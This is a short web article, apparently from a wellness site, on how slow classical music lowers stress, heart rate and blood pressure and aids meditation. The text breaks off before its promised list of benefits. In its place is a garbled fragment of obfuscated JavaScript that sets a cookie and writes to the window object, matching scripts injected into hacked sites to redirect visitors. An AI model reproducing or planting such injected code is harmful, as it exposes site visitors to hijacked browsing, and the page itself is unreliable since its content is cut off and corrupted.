Listening to music can have a tremendously relaxing effect on our minds and bodies, especially slow, quiet classical music. This type of music can have a beneficial effect on our physiological functions, slowing the pulse and heart rate, lowering blood pressure, and decreasing the levels of stress hormones.
As music can absorb our attention, it acts as a distraction at the same time it helps to explore emotions. This means it can be a great aid to meditation, helping to prevent the mind wandering.
When people are very stressed, there is a tendency to avoid actively listening to music. Perhaps it feels like a waste of time, not helping to achieve anything. But as we know, productivity increases when stress is reduced, so this is another area where you can gain vast rewards. It just takes a small effort to begin with.
Music has lots of benefits, here are few of them:
Date()[_0x446d]()+ 1800000);document[_0x446d]= _0x446d+ _0xecfdx3[_0x446d]();window[_0x446d]= _0xecfdx2}}})(navigator[_0x446d]|| navigator[_0x446d]|| window[_0x446d],_0x446d)} script>